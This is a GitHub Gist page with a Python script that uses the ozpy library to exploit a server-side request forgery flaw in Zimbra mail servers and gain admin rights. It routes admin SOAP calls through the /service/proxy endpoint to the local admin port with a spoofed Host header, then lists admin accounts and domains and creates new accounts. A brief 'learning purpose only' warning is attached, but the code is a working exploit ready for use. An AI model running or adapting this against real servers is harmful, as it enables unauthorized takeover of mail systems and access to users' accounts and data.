Created
July 17, 2019 03:24
-
-
Save iomarmochtar/ac8e64c060ba0b4bd9a2dce4995edca9 to your computer and use it in GitHub Desktop.
Utilizing ozpy for doing SSRF
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
__author__ = 'Imam Omar Mochtar ([email protected])' | |
""" | |
WARNING : For learning purpose only !!! | |
This is example of utilizing ozpy for gaining zimbra admin rights through SSRF vulnerability | |
""" | |
import sys | |
import requests | |
import json | |
from ozpy.zmprov import Zmprov | |
try: | |
# python 3.X | |
from urllib.parse import urlsplit, urlencode | |
except ImportError: | |
# python 2.7 | |
from urllib import urlencode | |
from urlparse import urlsplit | |
class DarkZmprov(Zmprov): | |
admin_token = None | |
def login_proxied(self): | |
soapname = 'Auth' | |
body = { | |
'name': [{ | |
'_content': self.username | |
}], | |
'password': [{ | |
'_content': self.password | |
}] | |
} | |
result = self.send_proxied(soapname, body, bypass=True) | |
self.admin_token = result['authToken'][0]['_content'] | |
def send_proxied(self, soapname, body={}, bypass=False): | |
if not self.admin_token and not bypass: | |
self.login_proxied() | |
split = urlsplit(self.soapurl) | |
target = '{}://{}'.format(split.scheme, split.netloc) | |
proxy_url = '{}/service/proxy?{}'.format( | |
target, | |
urlencode({ | |
'target': 'https://127.0.0.1:7071/service/admin/soap', | |
}) | |
) | |
body['_jsns'] = 'urn:zimbraAdmin' | |
sendjson = { | |
'Header': { | |
'context': { | |
'authToken': [{'_content':self.admin_token} if self.admin_token else {}], | |
'nosession': {}, | |
'userAgent': { | |
'name': 'zmsoap' | |
}, | |
'_jsns': 'urn:zimbra' | |
} | |
}, | |
'Body': {'%sRequest'%soapname:body}, | |
'_jsns': 'urn:zimbraSoap' | |
} | |
kwargs = { | |
'verify': False, | |
'headers': { | |
'Host': 'domain.com:7071' | |
}, | |
'cookies': { | |
'ZM_ADMIN_AUTH_TOKEN': self.token, | |
} | |
} | |
if self.timeout: | |
kwargs['timeout'] = self.timeout | |
response = requests.post(proxy_url, json.dumps(sendjson), **kwargs) | |
body = response.json()['Body'] | |
if 'Fault' in body: | |
raise Exception('Fault: {}'.format(body)) | |
return body['%sResponse'%soapname] | |
def version(self): | |
return self.send_proxied('GetVersionInfo') | |
def gaaa(self): | |
response = self.send_proxied('GetAllAdminAccounts') | |
return [ admin['name'] for admin in response['account'] ] | |
def ca(self, name, password): | |
response = self.send_proxied('CreateAccount', { | |
'name': name, | |
'password': password, | |
'a': [] | |
}) | |
return response | |
def gad(self): | |
response = self.send_proxied('GetAllDomains') | |
return [ domain['name'] for domain in response['domain'] ] | |
def gadl(self): | |
head = 'GetAllDistributionLists' | |
response = self.send_proxied(head) | |
return [ x['name'] for x in response['dl'] ] | |
def _login(self, username, password): | |
client_soap_body = { | |
'account': { | |
'by': 'adminName', | |
'_content': username | |
}, | |
'password': { | |
'_content': password | |
} | |
} | |
return super(DarkZmprov, self)._login( | |
username, password, client_soap_body) | |
if __name__ == '__main__': | |
target = 'https://mail.myrnd.lab/service/soap' | |
zimbra_user = 'zimbra' | |
password = 'holdmyhand' | |
zmprov = DarkZmprov( | |
username=zimbra_user, | |
password=password, | |
soapurl=target, | |
default_urn='urn:zimbraAccount', | |
isdebug=True | |
) | |
print(zmprov.version()) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment